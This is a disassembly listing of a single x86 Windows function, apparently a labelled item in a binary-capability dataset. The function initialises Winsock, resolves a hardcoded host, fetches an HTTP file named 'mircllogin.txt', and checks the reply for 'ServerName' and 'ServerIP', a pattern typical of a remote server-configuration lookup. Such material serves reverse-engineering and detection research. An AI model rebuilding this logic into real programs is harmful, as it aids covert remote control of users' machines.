Function at 0x10005760
Capabilities:
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x10015227
mov eax, dword fs:[0]
push eax
sub esp, 0x230
mov eax, dword [0x1001d080]
xor eax, esp
mov dword [esp + 0x228], eax
push ebx
push esi
push edi
mov eax, dword [0x1001d080]
xor eax, esp
push eax
lea eax, [esp + 0x240]
mov dword fs:[0], eax
lea eax, [esp + 0xa4]
push eax
xor ebx, ebx
push 0x101
mov dword [esp + 0x18], ebx
call dword [sym.imp.WS2_32.dll_WSAStartup]
cmp eax, ebx
jne 0x100059b6
push 0x10018b6c
call dword [sym.imp.WS2_32.dll_gethostbyname]
cmp eax, ebx
je 0x100059b6
lea edi, [ebx + 0xd]
mov eax, 0x10018b6c
lea esi, [esp + 0x50]
mov dword [esp + 0x64], 0xf
mov dword [esp + 0x60], ebx
mov byte [esp + 0x50], bl
call fcn.10001750
mov dword [esp + 0x248], ebx
lea edi, [ebx + 7]
mov eax, str.http:__
lea esi, [esp + 0x34]
mov dword [esp + 0x48], 0xf
mov dword [esp + 0x44], ebx
mov byte [esp + 0x34], bl
call fcn.10001750
lea ecx, [esp + 0x6c]
push ecx
lea eax, [esp + 0x54]
mov ecx, esi
mov byte [esp + 0x24c], 1
call fcn.10002610
push eax
mov eax, str._mircllogin.txt
lea esi, [esp + 0x90]
mov byte [esp + 0x250], 2
call fcn.10005e70
add esp, 8
mov esi, 0x10
cmp dword [esp + 0x80], esi
jb 0x1000586d
mov edx, dword [esp + 0x6c]
push edx
call fcn.10008c37
add esp, 4
mov edi, 0xf
mov dword [esp + 0x80], edi
mov dword [esp + 0x7c], ebx
mov byte [esp + 0x6c], bl
cmp dword [esp + 0x48], esi
jb 0x10005894
mov eax, dword [esp + 0x34]
push eax
call fcn.10008c37
add esp, 4
mov dword [esp + 0x48], edi
mov dword [esp + 0x44], ebx
mov byte [esp + 0x34], bl
mov byte [esp + 0x248], 6
cmp dword [esp + 0x64], esi
jb 0x100058bb
mov ecx, dword [esp + 0x50]
push ecx
call fcn.10008c37
add esp, 4
mov ecx, dword [esp + 0x88]
mov dword [esp + 0x64], edi
mov dword [esp + 0x60], ebx
mov byte [esp + 0x50], bl
cmp dword [esp + 0x9c], esi
jae 0x100058de
lea ecx, [esp + 0x88]
call fcn.100019b0
mov dword [esp + 0x14], eax
mov dword [esp + 0x2c], edi
xor edi, edi
mov eax, 0x10018618
lea esi, [esp + 0x18]
mov dword [esp + 0x28], ebx
mov byte [esp + 0x18], bl
call fcn.10001750
mov edx, dword [esp + 0x14]
mov byte [esp + 0x248], 7
cmp edx, ebx
je 0x1000593b
mov eax, edx
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x10005918
sub eax, esi
mov edi, eax
mov eax, edx
lea esi, [esp + 0x18]
call fcn.10001750
mov edx, dword [esp + 0x14]
push edx
call fcn.100093cc
add esp, 4
cmp dword [esp + 0x28], ebx
jbe 0x10005975
push 0xb
push str.ServerName
lea eax, [esp + 0x20]
push eax
call fcn.100022e0
cmp eax, 0xffffffff
je 0x10005975
push 8
push str.ServerIP
lea ecx, [esp + 0x20]
push ecx
call fcn.100022e0
cmp eax, 0xffffffff
je 0x10005975
mov dword [esp + 0x10], 1
mov esi, 0x10
cmp dword [esp + 0x2c], esi
jb 0x1000598d
mov edx, dword [esp + 0x18]
push edx
call fcn.10008c37
add esp, 4
mov dword [esp + 0x2c], 0xf
mov dword [esp + 0x28], ebx
mov byte [esp + 0x18], bl
cmp dword [esp + 0x9c], esi
jb 0x100059b6
mov eax, dword [esp + 0x88]
push eax
call fcn.10008c37
add esp, 4
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0x240]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x228]
xor ecx, esp
call fcn.10008c28
mov esp, ebp
pop ebp
ret